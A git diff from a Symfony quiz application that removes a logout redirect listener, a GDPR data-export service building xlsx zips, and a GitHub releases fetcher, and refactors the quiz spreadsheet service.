|
|
||||||
namespace Tvdt\Security;
|
|
||||||
|
|
||||||
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
|
|
||||||
use Symfony\Component\HttpFoundation\RedirectResponse;
|
|
||||||
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
|
|
||||||
use Symfony\Component\Security\Http\Event\LogoutEvent;
|
|
||||||
|
|
||||||
final readonly class LogoutRedirectListener implements EventSubscriberInterface
|
|
||||||
{
|
|
||||||
private const array BLOCKED_TARGET_PREFIXES = ['/backoffice', '/elimination'];
|
|
||||||
|
|
||||||
public function __construct(private UrlGeneratorInterface $urlGenerator) {}
|
|
||||||
|
|
||||||
public function onLogout(LogoutEvent $event): void
|
|
||||||
{
|
|
||||||
$target = $event->getRequest()->query->get('target');
|
|
||||||
|
|
||||||
if (\is_string($target) && $this->isAllowedTarget($target)) {
|
|
||||||
$event->setResponse(new RedirectResponse($target));
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$event->setResponse(new RedirectResponse($this->urlGenerator->generate('tvdt_quiz_select_season')));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static function getSubscribedEvents(): array
|
|
||||||
{
|
|
||||||
// Must run before Symfony's DefaultLogoutListener (priority 64), which only
|
|
||||||
// sets a response if none is set yet.
|
|
||||||
return [
|
|
||||||
LogoutEvent::class => ['onLogout', 128],
|
|
||||||
];
|
|
||||||
}
|
|
||||||
|
|
||||||
private function isAllowedTarget(string $target): bool
|
|
||||||
{
|
|
||||||
if (!str_starts_with($target, '/') || str_starts_with($target, '//')) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
return !array_any(self::BLOCKED_TARGET_PREFIXES, static fn (string $prefix): bool => str_starts_with($target, $prefix));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,476 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Service;
|
|
||||||
|
|
||||||
use Doctrine\ORM\EntityManagerInterface;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Writer;
|
|
||||||
use Safe\Exceptions\FilesystemException;
|
|
||||||
use Tvdt\Dto\Result;
|
|
||||||
use Tvdt\Entity\BankQuestionUsage;
|
|
||||||
use Tvdt\Entity\Candidate;
|
|
||||||
use Tvdt\Entity\Question;
|
|
||||||
use Tvdt\Entity\QuestionLabel;
|
|
||||||
use Tvdt\Entity\Quiz;
|
|
||||||
use Tvdt\Entity\Season;
|
|
||||||
use Tvdt\Entity\User;
|
|
||||||
use Tvdt\Helpers\FilenameSanitizer;
|
|
||||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
|
||||||
use Tvdt\Repository\QuizRepository;
|
|
||||||
|
|
||||||
use function Safe\tempnam;
|
|
||||||
use function Safe\unlink;
|
|
||||||
|
|
||||||
/** Builds a GDPR data-portability export (a zip of xlsx files) for everything owned by a single user. */
|
|
||||||
class DataExportService
|
|
||||||
{
|
|
||||||
public function __construct(
|
|
||||||
private readonly EntityManagerInterface $entityManager,
|
|
||||||
private readonly QuizSpreadsheetService $quizSpreadsheetService,
|
|
||||||
private readonly QuizRepository $quizRepository,
|
|
||||||
) {
|
|
||||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
|
|
||||||
public function exportForUser(User $user): string
|
|
||||||
{
|
|
||||||
$filter = $this->entityManager->getFilters();
|
|
||||||
$filter->disable('softdeleteable');
|
|
||||||
|
|
||||||
try {
|
|
||||||
return $this->buildZip($user);
|
|
||||||
} finally {
|
|
||||||
$filter->enable('softdeleteable');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private function buildZip(User $user): string
|
|
||||||
{
|
|
||||||
$zipPath = tempnam(sys_get_temp_dir(), 'tvdt_export_');
|
|
||||||
$tempXlsxFiles = [];
|
|
||||||
|
|
||||||
$zip = new \ZipArchive();
|
|
||||||
if (true !== $zip->open($zipPath, \ZipArchive::OVERWRITE)) {
|
|
||||||
unlink($zipPath);
|
|
||||||
|
|
||||||
throw new \RuntimeException('Could not create the export zip archive.');
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
$profilePath = $this->writeToTempFile($this->buildProfileWorkbook($user));
|
|
||||||
$tempXlsxFiles[] = $profilePath;
|
|
||||||
$zip->addFile($profilePath, 'profile.xlsx');
|
|
||||||
|
|
||||||
foreach ($user->seasons as $season) {
|
|
||||||
$folder = FilenameSanitizer::sanitize($season->seasonCode.'-'.$season->name).'/';
|
|
||||||
|
|
||||||
foreach ($season->quizzes as $quiz) {
|
|
||||||
$quizPath = $this->writeToTempFile($this->buildQuizWorkbook($quiz));
|
|
||||||
$tempXlsxFiles[] = $quizPath;
|
|
||||||
$zip->addFile($quizPath, $folder.FilenameSanitizer::sanitize($quiz->name).'.xlsx');
|
|
||||||
}
|
|
||||||
|
|
||||||
$candidatesPath = $this->writeToTempFile($this->buildCandidatesWorkbook($season));
|
|
||||||
$tempXlsxFiles[] = $candidatesPath;
|
|
||||||
$zip->addFile($candidatesPath, $folder.'candidates.xlsx');
|
|
||||||
|
|
||||||
$questionBankPath = $this->writeToTempFile($this->buildQuestionBankWorkbook($season));
|
|
||||||
$tempXlsxFiles[] = $questionBankPath;
|
|
||||||
$zip->addFile($questionBankPath, $folder.'question-bank.xlsx');
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!$zip->close()) {
|
|
||||||
throw new \RuntimeException('Could not finalize the export zip archive.');
|
|
||||||
}
|
|
||||||
} catch (\Throwable $throwable) {
|
|
||||||
unlink($zipPath);
|
|
||||||
|
|
||||||
throw $throwable;
|
|
||||||
} finally {
|
|
||||||
foreach ($tempXlsxFiles as $tempXlsxFile) {
|
|
||||||
unlink($tempXlsxFile);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return $zipPath;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function buildProfileWorkbook(User $user): Spreadsheet
|
|
||||||
{
|
|
||||||
$spreadsheet = new Spreadsheet();
|
|
||||||
|
|
||||||
$account = $spreadsheet->getActiveSheet();
|
|
||||||
$account->setTitle('Account');
|
|
||||||
$account->getStyle('A:A')->getFont()->setBold(true);
|
|
||||||
$account->fromArray([
|
|
||||||
['Email', $user->email],
|
|
||||||
['Roles', implode(', ', $user->getRoles())],
|
|
||||||
['Email verified', $user->isVerified ? 'Yes' : 'No'],
|
|
||||||
['Account ID', $user->id->toString()],
|
|
||||||
], null, 'A1');
|
|
||||||
$account->getColumnDimension('A')->setAutoSize(true);
|
|
||||||
$account->getColumnDimension('B')->setAutoSize(true);
|
|
||||||
|
|
||||||
$seasons = $spreadsheet->createSheet();
|
|
||||||
$seasons->setTitle('Seasons');
|
|
||||||
$seasons->fromArray(['Season', 'Season code', 'Quizzes', 'Candidates', 'Shared with other owners'], null, 'A1');
|
|
||||||
$seasons->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
|
|
||||||
$row = 2;
|
|
||||||
foreach ($user->seasons as $season) {
|
|
||||||
$seasons->fromArray([
|
|
||||||
$season->name,
|
|
||||||
$season->seasonCode,
|
|
||||||
$season->quizzes->count(),
|
|
||||||
$season->candidates->count(),
|
|
||||||
$season->owners->count() > 1 ? 'Yes' : 'No',
|
|
||||||
], null, 'A'.$row);
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach (['A', 'B', 'C', 'D', 'E'] as $column) {
|
|
||||||
$seasons->getColumnDimension($column)->setAutoSize(true);
|
|
||||||
}
|
|
||||||
|
|
||||||
$spreadsheet->setActiveSheetIndex(0);
|
|
||||||
|
|
||||||
return $spreadsheet;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function buildQuizWorkbook(Quiz $quiz): Spreadsheet
|
|
||||||
{
|
|
||||||
$spreadsheet = new Spreadsheet();
|
|
||||||
|
|
||||||
$info = $spreadsheet->getActiveSheet();
|
|
||||||
$info->setTitle('Quiz info');
|
|
||||||
$this->fillQuizInfoSheet($info, $quiz);
|
|
||||||
|
|
||||||
$questions = $spreadsheet->createSheet();
|
|
||||||
$questions->setTitle('Questions');
|
|
||||||
|
|
||||||
$this->quizSpreadsheetService->fillQuestionsSheet($questions, $quiz);
|
|
||||||
|
|
||||||
$rawAnswers = $spreadsheet->createSheet();
|
|
||||||
$rawAnswers->setTitle('Raw answers');
|
|
||||||
$this->fillRawAnswersSheet($rawAnswers, $quiz);
|
|
||||||
|
|
||||||
$results = $spreadsheet->createSheet();
|
|
||||||
$results->setTitle('Results');
|
|
||||||
$this->fillResultsSheet($results, $quiz);
|
|
||||||
|
|
||||||
$eliminations = $spreadsheet->createSheet();
|
|
||||||
$eliminations->setTitle('Eliminations');
|
|
||||||
$this->fillEliminationsSheet($eliminations, $quiz);
|
|
||||||
|
|
||||||
$spreadsheet->setActiveSheetIndex(0);
|
|
||||||
|
|
||||||
return $spreadsheet;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function fillQuizInfoSheet(Worksheet $sheet, Quiz $quiz): void
|
|
||||||
{
|
|
||||||
$disabledQuestions = $quiz->questions
|
|
||||||
->filter(static fn (Question $question): bool => !$question->enabled)
|
|
||||||
->map(static fn (Question $question): string => $question->question)
|
|
||||||
->toArray();
|
|
||||||
|
|
||||||
$sheet->getStyle('A:A')->getFont()->setBold(true);
|
|
||||||
$sheet->fromArray([
|
|
||||||
['Quiz name', $quiz->name],
|
|
||||||
['Number of dropouts', $quiz->dropouts],
|
|
||||||
['Finalized', $quiz->isFinalized ? 'Yes' : 'No'],
|
|
||||||
['Finalized at', $quiz->finalizedAt?->format(\DateTimeInterface::ATOM) ?? ''],
|
|
||||||
['Disabled questions', implode(', ', $disabledQuestions)],
|
|
||||||
], null, 'A1');
|
|
||||||
$sheet->getColumnDimension('A')->setAutoSize(true);
|
|
||||||
$sheet->getColumnDimension('B')->setAutoSize(true);
|
|
||||||
}
|
|
||||||
|
|
||||||
private function fillResultsSheet(Worksheet $sheet, Quiz $quiz): void
|
|
||||||
{
|
|
||||||
$sheet->fromArray(['Candidate', 'Correct answers', 'Corrections', 'Penalty (s)', 'Score', 'Time', 'Started', 'Active', 'Deleted'], null, 'A1');
|
|
||||||
$sheet->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
|
|
||||||
/** @var array<string, Result> $scoresByCandidateId */
|
|
||||||
$scoresByCandidateId = [];
|
|
||||||
foreach ($this->quizRepository->getScores($quiz) as $result) {
|
|
||||||
$scoresByCandidateId[$result->id->toString()] = $result;
|
|
||||||
}
|
|
||||||
|
|
||||||
$row = 2;
|
|
||||||
foreach ($quiz->candidateData as $quizCandidate) {
|
|
||||||
$candidate = $quizCandidate->candidate;
|
|
||||||
$result = $scoresByCandidateId[$candidate->id->toString()] ?? null;
|
|
||||||
|
|
||||||
$sheet->fromArray([
|
|
||||||
$candidate->name,
|
|
||||||
$result?->correct,
|
|
||||||
$result?->corrections,
|
|
||||||
$result?->penaltySeconds,
|
|
||||||
$result?->score,
|
|
||||||
$result instanceof Result ? $result->time->format('%i:%S') : null,
|
|
||||||
$quizCandidate->started?->format(\DateTimeInterface::ATOM),
|
|
||||||
$quizCandidate->active ? 'Yes' : 'No',
|
|
||||||
$quizCandidate->getDeletedAt()?->format(\DateTimeInterface::ATOM) ?? '',
|
|
||||||
], null, 'A'.$row);
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach (range('A', 'I') as $column) {
|
|
||||||
$sheet->getColumnDimension($column)->setAutoSize(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Raw crosstab: one row per candidate, one column per question, cell = the answer text they gave (bold when correct). */
|
|
||||||
private function fillRawAnswersSheet(Worksheet $sheet, Quiz $quiz): void
|
|
||||||
{
|
|
||||||
/** @var list<Question> $questions */
|
|
||||||
$questions = $quiz->questions->toArray();
|
|
||||||
|
|
||||||
$header = ['Candidate'];
|
|
||||||
foreach ($questions as $question) {
|
|
||||||
$header[] = $question->question;
|
|
||||||
}
|
|
||||||
|
|
||||||
$sheet->fromArray($header, null, 'A1');
|
|
||||||
$sheet->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
$sheet->getStyle('1:1')->getAlignment()->setWrapText(true);
|
|
||||||
|
|
||||||
/** @var array<string, array<string, string>> $answersByCandidateAndQuestion */
|
|
||||||
$answersByCandidateAndQuestion = [];
|
|
||||||
/** @var array<string, array<string, bool>> $correctnessByCandidateAndQuestion */
|
|
||||||
$correctnessByCandidateAndQuestion = [];
|
|
||||||
foreach ($questions as $question) {
|
|
||||||
foreach ($question->answers as $answer) {
|
|
||||||
foreach ($answer->givenAnswers as $givenAnswer) {
|
|
||||||
$candidateId = $givenAnswer->candidate->id->toString();
|
|
||||||
$answersByCandidateAndQuestion[$candidateId][$question->id->toString()] = $answer->text;
|
|
||||||
$correctnessByCandidateAndQuestion[$candidateId][$question->id->toString()] = $answer->isRightAnswer;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
$row = 2;
|
|
||||||
foreach ($quiz->candidateData as $quizCandidate) {
|
|
||||||
$candidate = $quizCandidate->candidate;
|
|
||||||
$candidateId = $candidate->id->toString();
|
|
||||||
|
|
||||||
$line = [$candidate->name];
|
|
||||||
foreach ($questions as $question) {
|
|
||||||
$line[] = $answersByCandidateAndQuestion[$candidateId][$question->id->toString()] ?? '';
|
|
||||||
}
|
|
||||||
|
|
||||||
$sheet->fromArray($line, null, 'A'.$row);
|
|
||||||
|
|
||||||
foreach ($questions as $columnIndex => $question) {
|
|
||||||
if ($correctnessByCandidateAndQuestion[$candidateId][$question->id->toString()] ?? false) {
|
|
||||||
$column = Coordinate::stringFromColumnIndex(2 + $columnIndex);
|
|
||||||
$sheet->getStyle($column.$row)->getFont()->setBold(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
$lastColumnIndex = 1 + \count($questions);
|
|
||||||
foreach ($this->columnLetters($lastColumnIndex) as $column) {
|
|
||||||
$sheet->getColumnDimension($column)->setWidth(30);
|
|
||||||
$sheet->getStyle($column.':'.$column)->getAlignment()->setWrapText(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private function fillEliminationsSheet(Worksheet $sheet, Quiz $quiz): void
|
|
||||||
{
|
|
||||||
/** @var list<Candidate> $candidates */
|
|
||||||
$candidates = $quiz->season->candidates->toArray();
|
|
||||||
|
|
||||||
$header = ['Prepared at', 'Deleted'];
|
|
||||||
foreach ($candidates as $candidate) {
|
|
||||||
$header[] = $candidate->name;
|
|
||||||
}
|
|
||||||
|
|
||||||
$sheet->fromArray($header, null, 'A1');
|
|
||||||
$sheet->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
|
|
||||||
$row = 2;
|
|
||||||
foreach ($quiz->eliminations as $elimination) {
|
|
||||||
$line = [
|
|
||||||
$elimination->getCreatedAt()?->format(\DateTimeInterface::ATOM) ?? '',
|
|
||||||
$elimination->getDeletedAt()?->format(\DateTimeInterface::ATOM) ?? '',
|
|
||||||
];
|
|
||||||
|
|
||||||
foreach ($candidates as $candidate) {
|
|
||||||
$line[] = $elimination->getScreenColour($candidate->name) ?? '';
|
|
||||||
}
|
|
||||||
|
|
||||||
$sheet->fromArray($line, null, 'A'.$row);
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach ($this->columnLetters(2 + \count($candidates)) as $column) {
|
|
||||||
$sheet->getColumnDimension($column)->setAutoSize(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private function buildCandidatesWorkbook(Season $season): Spreadsheet
|
|
||||||
{
|
|
||||||
$spreadsheet = new Spreadsheet();
|
|
||||||
|
|
||||||
$candidatesSheet = $spreadsheet->getActiveSheet();
|
|
||||||
$candidatesSheet->setTitle('Candidates');
|
|
||||||
$candidatesSheet->fromArray(['Name'], null, 'A1');
|
|
||||||
$candidatesSheet->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
|
|
||||||
$row = 2;
|
|
||||||
foreach ($season->candidates as $candidate) {
|
|
||||||
$candidatesSheet->fromArray([$candidate->name], null, 'A'.$row);
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
$candidatesSheet->getColumnDimension('A')->setAutoSize(true);
|
|
||||||
|
|
||||||
$infoSheet = $spreadsheet->createSheet();
|
|
||||||
$infoSheet->setTitle('Season info');
|
|
||||||
$infoSheet->getStyle('A:A')->getFont()->setBold(true);
|
|
||||||
$infoSheet->fromArray([
|
|
||||||
['Season name', $season->name],
|
|
||||||
['Season code', $season->seasonCode],
|
|
||||||
['Number of quizzes', $season->quizzes->count()],
|
|
||||||
['Number of candidates', $season->candidates->count()],
|
|
||||||
['Active quiz', $season->activeQuiz instanceof Quiz ? $season->activeQuiz->name : ''],
|
|
||||||
['Show numbers', $season->settings?->showNumbers ? 'Yes' : 'No'],
|
|
||||||
['Confirm answers', $season->settings?->confirmAnswers ? 'Yes' : 'No'],
|
|
||||||
['Shared with other owners', $season->owners->count() > 1 ? 'Yes' : 'No'],
|
|
||||||
], null, 'A1');
|
|
||||||
$infoSheet->getColumnDimension('A')->setAutoSize(true);
|
|
||||||
$infoSheet->getColumnDimension('B')->setAutoSize(true);
|
|
||||||
|
|
||||||
$spreadsheet->setActiveSheetIndex(0);
|
|
||||||
|
|
||||||
return $spreadsheet;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function buildQuestionBankWorkbook(Season $season): Spreadsheet
|
|
||||||
{
|
|
||||||
$spreadsheet = new Spreadsheet();
|
|
||||||
|
|
||||||
$questions = $spreadsheet->getActiveSheet();
|
|
||||||
$questions->setTitle('Questions');
|
|
||||||
$this->fillBankQuestionsSheet($questions, $season);
|
|
||||||
|
|
||||||
$labels = $spreadsheet->createSheet();
|
|
||||||
$labels->setTitle('Labels');
|
|
||||||
$this->fillQuestionLabelsSheet($labels, $season);
|
|
||||||
|
|
||||||
$spreadsheet->setActiveSheetIndex(0);
|
|
||||||
|
|
||||||
return $spreadsheet;
|
|
||||||
}
|
|
||||||
|
|
||||||
private function fillBankQuestionsSheet(Worksheet $sheet, Season $season): void
|
|
||||||
{
|
|
||||||
$metaColumns = ['Question', 'Reusable', 'Complete for quiz', 'Labels', 'Used in quizzes'];
|
|
||||||
$sheet->fromArray($metaColumns, null, 'A1');
|
|
||||||
$sheet->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
|
|
||||||
$answerStartColumnIndex = \count($metaColumns);
|
|
||||||
$maxAnswers = 0;
|
|
||||||
$row = 2;
|
|
||||||
|
|
||||||
foreach ($season->bankQuestions as $bankQuestion) {
|
|
||||||
$labels = implode(', ', array_map(
|
|
||||||
static fn (QuestionLabel $label): string => $label->name,
|
|
||||||
$bankQuestion->labels->toArray(),
|
|
||||||
));
|
|
||||||
$usedInQuizzes = implode(', ', array_map(
|
|
||||||
static fn (BankQuestionUsage $usage): string => $usage->quiz->name,
|
|
||||||
$bankQuestion->usages->toArray(),
|
|
||||||
));
|
|
||||||
|
|
||||||
$sheet->fromArray([
|
|
||||||
$bankQuestion->question,
|
|
||||||
$bankQuestion->reusable ? 'Yes' : 'No',
|
|
||||||
$bankQuestion->isCompleteForQuiz ? 'Yes' : 'No',
|
|
||||||
$labels,
|
|
||||||
$usedInQuizzes,
|
|
||||||
], null, 'A'.$row);
|
|
||||||
|
|
||||||
$col = 0;
|
|
||||||
foreach ($bankQuestion->answers as $answer) {
|
|
||||||
$sheet->setCellValue(Coordinate::stringFromColumnIndex($answerStartColumnIndex + 1 + 2 * $col).$row, $answer->text);
|
|
||||||
$sheet->setCellValue(Coordinate::stringFromColumnIndex($answerStartColumnIndex + 2 + 2 * $col).$row, $answer->isRightAnswer);
|
|
||||||
++$col;
|
|
||||||
}
|
|
||||||
|
|
||||||
$maxAnswers = max($maxAnswers, $col);
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
for ($i = 0; $i < $maxAnswers; ++$i) {
|
|
||||||
$answerCol = Coordinate::stringFromColumnIndex($answerStartColumnIndex + 1 + 2 * $i);
|
|
||||||
$correctCol = Coordinate::stringFromColumnIndex($answerStartColumnIndex + 2 + 2 * $i);
|
|
||||||
|
|
||||||
$sheet->setCellValue($answerCol.'1', 'Answer '.($i + 1));
|
|
||||||
$sheet->setCellValue($correctCol.'1', 'Correct');
|
|
||||||
}
|
|
||||||
|
|
||||||
$lastColumnIndex = $answerStartColumnIndex + max(1, 2 * $maxAnswers);
|
|
||||||
foreach ($this->columnLetters($lastColumnIndex) as $column) {
|
|
||||||
$sheet->getColumnDimension($column)->setAutoSize(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private function fillQuestionLabelsSheet(Worksheet $sheet, Season $season): void
|
|
||||||
{
|
|
||||||
$sheet->fromArray(['Name', 'Colour', 'Slug'], null, 'A1');
|
|
||||||
$sheet->getStyle('1:1')->getFont()->setBold(true);
|
|
||||||
|
|
||||||
$row = 2;
|
|
||||||
foreach ($season->questionLabels as $label) {
|
|
||||||
$sheet->fromArray([$label->name, $label->colour->name, $label->slug], null, 'A'.$row);
|
|
||||||
++$row;
|
|
||||||
}
|
|
||||||
|
|
||||||
foreach (['A', 'B', 'C'] as $column) {
|
|
||||||
$sheet->getColumnDimension($column)->setAutoSize(true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Column letters from 'A' up to and including the given 1-based column index.
|
|
||||||
* Unlike range('A', ...), this works past 'Z' (e.g. index 27 => 'AA').
|
|
||||||
*
|
|
||||||
* @return list<string>
|
|
||||||
*/
|
|
||||||
private function columnLetters(int $lastColumnIndex): array
|
|
||||||
{
|
|
||||||
$letters = [];
|
|
||||||
for ($columnIndex = 1; $columnIndex <= $lastColumnIndex; ++$columnIndex) {
|
|
||||||
$letters[] = Coordinate::stringFromColumnIndex($columnIndex);
|
|
||||||
}
|
|
||||||
|
|
||||||
return $letters;
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @throws FilesystemException */
|
|
||||||
private function writeToTempFile(Spreadsheet $spreadsheet): string
|
|
||||||
{
|
|
||||||
$path = tempnam(sys_get_temp_dir(), 'tvdt_export_sheet_');
|
|
||||||
|
|
||||||
try {
|
|
||||||
new Writer\Xlsx($spreadsheet)->save($path);
|
|
||||||
} catch (\Throwable $throwable) {
|
|
||||||
unlink($path);
|
|
||||||
|
|
||||||
throw $throwable;
|
|
||||||
}
|
|
||||||
|
|
||||||
return $path;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,72 +0,0 @@
|
|||||||
<?php
|
|
||||||
|
|
||||||
declare(strict_types=1);
|
|
||||||
|
|
||||||
namespace Tvdt\Service;
|
|
||||||
|
|
||||||
use Psr\Cache\InvalidArgumentException;
|
|
||||||
use Safe\DateTimeImmutable;
|
|
||||||
use Safe\Exceptions\SafeExceptionInterface;
|
|
||||||
use Symfony\Contracts\Cache\CacheInterface;
|
|
||||||
use Symfony\Contracts\Cache\ItemInterface;
|
|
||||||
use Symfony\Contracts\HttpClient\Exception\ExceptionInterface;
|
|
||||||
use Symfony\Contracts\HttpClient\HttpClientInterface;
|
|
||||||
|
|
||||||
final readonly class GitHubReleasesService
|
|
||||||
{
|
|
||||||
private const string RELEASES_URL = 'https://api.github.com/repos/MarijnDoeve/TijdVoorDeTest/releases';
|
|
||||||
|
|
||||||
public function __construct(
|
|
||||||
private HttpClientInterface $httpClient,
|
|
||||||
private CacheInterface $cache,
|
|
||||||
) {}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @throws InvalidArgumentException
|
|
||||||
*
|
|
||||||
* @return list<array{tagName: string, name: string, publishedAt: ?\DateTimeImmutable, body: string, url: string}>
|
|
||||||
*/
|
|
||||||
public function getReleases(): array
|
|
||||||
{
|
|
||||||
return $this->cache->get('github_releases', $this->fetchReleases(...));
|
|
||||||
}
|
|
||||||
|
|
||||||
/** @return list<array{tagName: string, name: string, publishedAt: ?\DateTimeImmutable, body: string, url: string}> */
|
|
||||||
private function fetchReleases(ItemInterface $item, bool &$save): array
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
$response = $this->httpClient->request('GET', self::RELEASES_URL, [
|
|
||||||
'timeout' => 5,
|
|
||||||
'headers' => [
|
|
||||||
'Accept' => 'application/vnd.github+json',
|
|
||||||
'User-Agent' => 'TijdVoorDeTest',
|
|
||||||
],
|
|
||||||
]);
|
|
||||||
|
|
||||||
/** @var list<array{tag_name: string, name: ?string, published_at: ?string, body: ?string, html_url: string}> $releases */
|
|
||||||
$releases = $response->toArray();
|
|
||||||
|
|
||||||
usort($releases, static fn (array $a, array $b): int => ($b['published_at'] ?? '') <=> ($a['published_at'] ?? ''));
|
|
||||||
|
|
||||||
$result = array_map(static function (array $release): array {
|
|
||||||
$name = $release['name'] ?? '';
|
|
||||||
|
|
||||||
return [
|
|
||||||
'tagName' => $release['tag_name'],
|
|
||||||
'name' => '' !== $name ? $name : $release['tag_name'],
|
|
||||||
'publishedAt' => $release['published_at'] ? new DateTimeImmutable($release['published_at']) : null,
|
|
||||||
'body' => (string) $release['body'],
|
|
||||||
'url' => $release['html_url'],
|
|
||||||
];
|
|
||||||
}, $releases);
|
|
||||||
} catch (ExceptionInterface|SafeExceptionInterface|\DateMalformedStringException) {
|
|
||||||
$save = false;
|
|
||||||
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
|
|
||||||
$item->expiresAfter(3600);
|
|
||||||
|
|
||||||
return $result;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -4,26 +4,18 @@ declare(strict_types=1);
|
|||||||
|
|
||||||
namespace Tvdt\Service;
|
namespace Tvdt\Service;
|
||||||
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||||
use PhpOffice\PhpSpreadsheet\Reader;
|
use PhpOffice\PhpSpreadsheet\Reader;
|
||||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
|
||||||
use PhpOffice\PhpSpreadsheet\Writer;
|
use PhpOffice\PhpSpreadsheet\Writer;
|
||||||
use Symfony\Component\HttpFoundation\File\File;
|
use Symfony\Component\HttpFoundation\File\File;
|
||||||
use Tvdt\Entity\Answer;
|
use Tvdt\Entity\Answer;
|
||||||
use Tvdt\Entity\Question;
|
use Tvdt\Entity\Question;
|
||||||
use Tvdt\Entity\Quiz;
|
use Tvdt\Entity\Quiz;
|
||||||
use Tvdt\Exception\SpreadsheetDataException;
|
use Tvdt\Exception\SpreadsheetDataException;
|
||||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
|
||||||
|
|
||||||
class QuizSpreadsheetService
|
class QuizSpreadsheetService
|
||||||
{
|
{
|
||||||
public function __construct()
|
|
||||||
{
|
|
||||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
|
||||||
}
|
|
||||||
|
|
||||||
public function generateTemplate(bool $fillExample = true): \Closure
|
public function generateTemplate(bool $fillExample = true): \Closure
|
||||||
{
|
{
|
||||||
$quiz = new Quiz();
|
$quiz = new Quiz();
|
||||||
@@ -125,13 +117,8 @@ class QuizSpreadsheetService
|
|||||||
public function quizToXlsx(Quiz $quiz): \Closure
|
public function quizToXlsx(Quiz $quiz): \Closure
|
||||||
{
|
{
|
||||||
$spreadsheet = new Spreadsheet();
|
$spreadsheet = new Spreadsheet();
|
||||||
$this->fillQuestionsSheet($spreadsheet->getActiveSheet(), $quiz);
|
$sheet = $spreadsheet->getActiveSheet();
|
||||||
|
|
||||||
return $this->toXlsx($spreadsheet);
|
|
||||||
}
|
|
||||||
|
|
||||||
public function fillQuestionsSheet(Worksheet $sheet, Quiz $quiz): void
|
|
||||||
{
|
|
||||||
// Write data rows first so we know the maximum answer count.
|
// Write data rows first so we know the maximum answer count.
|
||||||
$maxAnswers = 0;
|
$maxAnswers = 0;
|
||||||
$row = 2;
|
$row = 2;
|
||||||
@@ -166,9 +153,11 @@ class QuizSpreadsheetService
|
|||||||
$sheet->setCellValue($correctCol.'1', 'Correct');
|
$sheet->setCellValue($correctCol.'1', 'Correct');
|
||||||
$sheet->getColumnDimension($correctCol)->setAutoSize(true);
|
$sheet->getColumnDimension($correctCol)->setAutoSize(true);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return $this->toXlsx($spreadsheet);
|
||||||
}
|
}
|
||||||
|
|
||||||
public function toXlsx(Spreadsheet $spreadsheet): \Closure
|
private function toXlsx(Spreadsheet $spreadsheet): \Closure
|
||||||
{
|
{
|
||||||
$writer = new Writer\Xlsx($spreadsheet);
|
$writer = new Writer\Xlsx($spreadsheet);
|
||||||
|
|
||||||
|
|||||||
@@ -98,9 +98,6 @@
|
|||||||
"tests/bootstrap.php"
|
"tests/bootstrap.php"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"sensiolabs/typescript-bundle": {
|
|
||||||
"version": "v0.2.2"
|
|
||||||
},
|
|
||||||
